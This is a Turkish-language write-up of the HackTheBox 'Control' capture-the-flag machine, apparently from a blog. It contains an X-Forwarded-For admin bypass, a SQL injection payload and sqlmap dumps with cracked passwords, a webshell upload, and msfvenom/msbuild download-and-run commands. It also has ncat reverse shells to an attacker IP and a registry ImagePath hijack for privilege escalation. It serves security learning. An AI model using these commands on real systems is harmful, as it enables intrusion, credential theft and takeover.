HackTheBox-Control Çözümü

Giriş

Control HackTheBoxta 40 puanlık “Zor” kategorisinde bir makine. Makine üzerinde sadece 1 ip addresinden erişilebilir olması gereken bir admin paneli var fakat bu admin paneline özel bir http başlığı ile atlanabiliyor. Admin panelinde SQL Injection’a karşı zafiyetli bir arama formu var. Bu açık başlı başına yeterli değil, saldırganın daha ileriye gidebilmesi için bu zafiyeti kullanarak sunucuda kod çalıştırmaya erişmesi gerekiyor. Sunucunun localinde WinRM çalışıyor, bu servis dışarı çıkarılarak saldırgan sunucudaki kullanıcıya ilk erişimi sağlayabiliyor. Kullanıcının bazı servislerde kontrolü var ve yetkilerini bunu kullanarak yükseltebiliyor.

İlk keşif

Her zamanki gibi nmap ile başlıyoruz

1
2
3
4
5
6
 λ ~/Desktop/htb/machines/control nmap -sVSC -vv -T5 10.10.10.167
...
Discovered open port 80/tcp on 10.10.10.167
Discovered open port 3306/tcp on 10.10.10.167
Discovered open port 135/tcp on 10.10.10.167
...

3306 numaralı port dikkatim çekti çünkü her zaman dışarıya açık bir veritabanı görmek çok alışıldık bir durum değil

Web sunucusu,

İçerik keşfiyle devam edelim, burada da çok göze çarpan bir şey yok

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 λ ~/Desktop/htb/machines/control gobuster dir -u http://control.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt -t 50 -x php,html,aspx,js
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://control.htb/
[+] Threads: 50
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html,aspx,js
[+] Timeout: 10s
===============================================================
2020/04/25 01:12:12 Starting gobuster
===============================================================
/ADMIN.php (Status: 200)
/Admin.php (Status: 200)
/About.php (Status: 200)
/Index.php (Status: 200)
/Images (Status: 301)
/about.php (Status: 200)
/admin.php (Status: 200)
/admin.php (Status: 200)
/assets (Status: 301)
/database.php (Status: 200)
/images (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/uploads (Status: 301)
===============================================================
2020/04/25 01:13:15 Finished
===============================================================

Admin paneline atlama

Index.php üzerinde bırakılmış bir not var

Bu makine ilk yayınlandığında etrafta dolanan bir blog post vardı. Bu blog post, bazı kısıtlamaların XFF başlığı ile nasıl atlatılabileceğini anlatıyordu. O haftalardaki oynadığımız CTFlerdeki bir kaç soruda da bu konsept ile ilgili sorular sorulduğunu görünce bu makinede de bunu uygulayacağımdan emin olmuştum.

Aşağıdaki blog post bayağı güzel bir şekilde bu durumu anlatıyor
https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers

XFF başlığı olmadan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 λ ~/Desktop/htb/machines/control curl http://10.10.10.167/admin.php -vv
* Trying 10.10.10.167:80...
* TCP_NODELAY set
* Connected to 10.10.10.167 (10.10.10.167) port 80 (#0)
> GET /admin.php HTTP/1.1
> Host: 10.10.10.167
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Server: Microsoft-IIS/10.0
< X-Powered-By: PHP/7.3.7
< Date: Sat, 25 Apr 2020 04:40:18 GMT
< Content-Length: 89
<
* Connection #0 to host 10.10.10.167 left intact
Access Denied: Header Missing. Please ensure you go through the proxy to access this page

Bırakılan notdaki ip ile XFF başlığı

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
λ ~/Desktop/htb/machines/control curl -vv -H "X-forwarded-for: 192.168.4.28" http://10.10.10.167/admin.php 
* Trying 10.10.10.167:80...
* TCP_NODELAY set
* Connected to 10.10.10.167 (10.10.10.167) port 80 (#0)
> GET /admin.php HTTP/1.1
> Host: 10.10.10.167
> User-Agent: curl/7.68.0
> Accept: */*
> X-forwarded-for: 192.168.4.28
> Connection: close
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Server: Microsoft-IIS/10.0
< X-Powered-By: PHP/7.3.7
< Date: Sat, 25 Apr 2020 04:39:07 GMT
< Connection: close
< Content-Length: 8262
<
<!DOCTYPE html>
...

Daima bu başlığın atanması için “Header Editor” diye bir uzantı kullandım

Admin panelinde SQL Injection

search_product.php bitiş noktasında productName parametresi SQL Injectiona karşı zafiyetli olduğunu gördüm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /search_products.php HTTP/1.1
Host: control.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://control.htb/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Connection: close
Upgrade-Insecure-Requests: 1
x-forwarded-for: 192.168.4.28

productName=' UNION ALL SELECT @@VERSION,1,1,1,1,1-- -

Veritabanları

1
2
3
4
5
6
 λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --batch -dbs
[01:50:03] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] warehouse

Kullanıcılar ve şifreleri

1
2
3
4
5
6
7
8
9
10
11
 λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --batch --passwords

[01:50:27] [INFO] cracked password 'l3tm3!n' for user 'manager'
database management system users password hashes:
[*] hector [1]:
password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
[*] manager [1]:
password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
clear-text password: l3tm3!n
[*] root [1]:
password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8

Hector’un hashi de kırıldı

1
0e178792e8fc304a2e3133d535d38caf1da3cd9d:l33th4x0rhector

Elimdeki şifreler için SMB çalışmadı ve WinRM kapalıydı. SQL Injectionu bir tık daha ileri götürmem gerektiğini anladım.

SQL Injectionu kullanarak Kod Çalıştırmak

Sunucuya çok basit bir şekilde dosya yükleyebiliriz. Pawny webshelli yükledim

1
λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --file-write=./pawny.php --file-dest="C:\inetpub\wwwroot\uploads\morph3-pawny.php" --batch

Hector Remote Management Users grubundaydı (WinRM)

Ve WinRM localde çalışıyordu

WinRM e Hector kullanıcısıyla bağlanabilmem için localde çalışan o portu dışarıya ilerletmem gerekiyordu ve bunu yapmak için meterpreter bağlantısı almaya karar verdim

WinRM’i dışarıya ilerletme

Meterpreter bağlantısı için msbuild yöntemini kullandım

Bu yöntem için benim kendi yazdığım bir betik var, bunu kullanabilirsiniz
https://github.com/morph3/Msbuild-payload-generator

Kali üzerinde,

1
2
3
4
5
6
7
(master ?:3 ✗) λ /opt/Msbuild-payload-generator python msbuild_gen.py -l 10.10.14.2 -p 9001 -a x86 -i 20 -m
...
[*] Generating the payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=9001 -e x86/shikata_ga_nai -i 20 -f csharp
[*] Payload has been written to 'out_x86_9001.csproj'
[*] Remote command:
Invoke-WebRequest "http://10.10.14.2/out_x86_9001.csproj" -OutFile "C:\Windows\Temp\out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Windows\Temp\out.csproj

Pawny shell üzerinde

1
p0wny@shell:C:\inetpub\wwwroot\uploads# powershell.exe -c "Invoke-WebRequest "http://10.10.14.2/out_x86_9001.csproj" -OutFile "C:\Windows\Temp\out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Windows\Temp\out.csproj"
1
2
3
4
5
meterpreter > getuid
Server username: NT AUTHORITY\IUSR

meterpreter > portfwd add -l 5985 -p 5985 -r 10.10.10.167
[*] Local TCP relay created: :5985 <-> 10.10.10.167:5985

Hector ile bağlantı alma

WinRM’e bağlanmak için evilwinrm’i kullandım

Veya port ilerletme yapmak istemiyorsanız tersine bağlantı için aşağıdaki betiği kullanabilirsiniz

1
2
3
4
5
icacls c:\windows\temp\ncat.exe /grant Everyone:F
powershell -ep bypass
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('WORKGROUP\hector', $pass)
Invoke-Command -ComputerName "Fidelity" -Credential $cred -ScriptBlock { C:\windows\temp\ncat.exe -e cmd.exe 10.10.14.2 9002 }

Roota yükseliş

Bu aşamaya kadar her şey düzgün ve kolaydı fakat bu aşamadan sonra ben ve takım arkadaşlarım +20 saat uğraştık ve yetkilerimizi yükseltemedik çünkü makinede verilmesi gereken bir kaç ipucu eksikti ve bizim de gözümüze hiç bir şey çarpmıyordu.

Neyseki 1 gün sonra takım arkadaşım paint beklenmedik yoldan bir çözüm keşfetti ve bunu da ilk kan ile taçlandırdı. Bu yol sunucunun çok garip bir davranışı sonucunda olmuştu ve bunu da yazının sonlarına doğru anlatacağım.

Powershell Geçmişi

Biz bu makineyi çözmeye çalışırken sunucuda powershell geçmişi yoktu ve bunu daha sonradan eklediler çünkü insanlar roota giden yolu görmekte inanılmaz derecede zorlanıyorlardı.

1
2
3
4
C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>type ConsoleHost_history.txt
type ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

Bu kısaca demek oluyor ki Hector bazı servisler üzerinde kontrole sahip, uzantılarını değiştirebiliyor veya onları başlatabiliyor(hali hazırda başlamış olan servisleri durduramıyor çünkü çalışan servislerin yetkileri onun boyunu aşıyor)

ACLs

ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee
https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists

Hectorun kontrolü olduğu servisleri listelemek için

1
get-acl HKLM:\System\CurrentControlSet\Services\* | Format-List * | findstr /i "Hector Users Path"

Mesela aşağıdakinden örnek vermek gerekirse bir servis kurulmamış olabilir veya hali hazırda çalışıyor olabilir veya bir hata olabilir, bütün servisler üzerinde tek tek gitmek yerine her birinin dizinini kendi yüküm ile değiştireceğim ve her servisi başlatmaya çalışacağım.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> reg add "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath  /t REG_EXPAND_SZ  /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
reg add "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath /t REG_EXPAND_SZ /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
The operation completed successfully.
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> reg query "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath
reg query "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath

HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\WlanSvc
ImagePath REG_EXPAND_SZ C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd

PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> Start-Service WlanSvc
Start-Service WlanSvc
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> Stop-Service WlanSvc
Stop-Service WlanSvc
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cmd /c sc start WlanSvc
cmd /c sc start WlanSvc
[SC] StartService: OpenService FAILED 1060:

The specified service does not exist as an installed service.

Betik

1
2
3
4
5
$services = ls HKLM:\SYSTEM\CurrentControlset\Services
foreach ($service in $services){
reg.exe add $service.Name /v ImagePath /t REG_EXPAND_SZ /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
Start-Service -name $service.Name.Split("\\")[-1]
}

Betiği Hector ile çalıştırdıktan sonra bir çok servisten geri dönüş aldım ve bir çok kere yetkilerimi yükseltebildim :D

Sistem ilk kanını veren beklenmedik yol

Basit bir şekilde açıklamak gerekirse sunucu bazı durumlar altında farklı sonuçlar veriyor ama her ne kadar denersem deneyeyim hala hiç bir anlam veremedim o yüzden sizin hayal gücünüze bırakıyorum artık :D

Eğer siz biliyorsanız veya açıklayabiliyorsanız duymaktan mutluluk duyarım :D

Bazı test durumları

1
2
3
4
5
6
7
8
Pawny                                        |   meterpreter shell
------------------------------------------------------------------------------
64bit meter exe failed to execute | 64bit meter exe failed to execute
shell with nc, iusr | shell with nc, wifidelity
*32bit meter exe failed to execute | *32bit meter exe failed to execute
whoami, iusr | whoami, iusr
whoami, iusr | c:\windows\system32\whoami.exe wifidelity
64bit payload wrapped around 32 bit exe iusr | 64bit payload wrapped around 32 bit exe, wifidelity

*Antivirüs ile alakası yok, dosyalar asla silinmiyor

Burada da bu durumla ilgili komik bir durum var

1
2
3
4
5
6
meterpreter > execute -f "c:\windows\system32\whoami.exe > C:\inetpub\wwwroot\uploads\who.txt"
Process 1656 created.
meterpreter > cat who.txt
iis apppool\wifidelity
meterpreter > getuid
Server username: IUSR (0)

iis apppool\wifidelity kullanıcısı bir sistem kullanıcısı gibi. Uso-Svc servisini çalıştırmaya yetkisi var ve dolayısıyla yetkilerini kolaylıkta yükseltebiliyor.

Hadi bunu tekrar gösterelim

Php altında çalışan bir bağlantı

Tersine bağlantı yükümü sunucuya yükledim basit bir şekilde uploads/morph3.php uzantısını ziyaret ederek çalıştırdım.

1
λ ~/Desktop/htb/machines/control msfvenom -p php/meterpreter_reverse_tcp lhost=10.10.14.2 lport=9005 -f raw > morph3.php

64bit meterpreter shellcodeunu 32bit exeye sarmalama

Bunun normal şartlar altında çalışmaması gerekiyor ama nasıl çalıştı hiç bir fikrim yok

Aşağıdaki sarmalayıcıyı kullancım
https://github.com/Arno0x/ShellcodeWrapper

1
2
3
4
5
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.2 lport=9001 -a x64 -f raw > shellcode.raw
./shellcode_encoder.py -cpp -cs -py shellcode.raw thisismykey xor
mcs -out:morph3.exe encryptedShellcodeWrapper_xor.cs
file morph3.exe
morph3.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Bundan sonra 32bit(morph3.exe)yi sunucuya yükledim

32bit exenin çalıştırılması

Burda mutlaka php bağlantısı altında çalıştırdığınızdan emin olun.

Wifidelity ile bağlantı

Gördüğünüz gibi tersine bağlantımız Wifidelity kullanıcısıyla geldi

Bayağı bir gariptir ki bu kullanıcı kullanıcı listesinde yok ve hatta detaylarını bile göremiyoruz

Hector ile göremediğimiz bazı dosyaların arasında gezerken /inetpub/wwwroot/temp/appPools altında bazı dosyalar gördük

Bu aşamada unutulmuş(silinmiş) bir apppool hakkındaki düşüncelerim biraz daha kesinleşti çünkü bu dosya gerçekten de siliniş veya unutulmuş gerçek bir projeye ait gözüküyordu.

Uso-Svc

Tahmin ettiğimiz gibi PowerUp.ps1 betiğini yüklediğimiz ve Invoke-AllChecks fonksiyonunu çalıştırdığımızdan sonra bu kullanıcının Uso-Svc servisini tekrar başlatma yetkisi olduğunu gördük.

Çok basit bir şekilde Invoke-ServiceAbuse fonksiyonunu kullanarak yetkilerimizi yükseltebiliyoruz ama bunu burada tekrar göstermeyeceğim

Tekrardan dediğim gibi hala tam anlamıyla bu bug’ı anlayabilmiş değilim fakat bize ve painte sistem ilk kanını almakta yardımcı oldu.

TRK‘a bu harika makine için teşekkürler !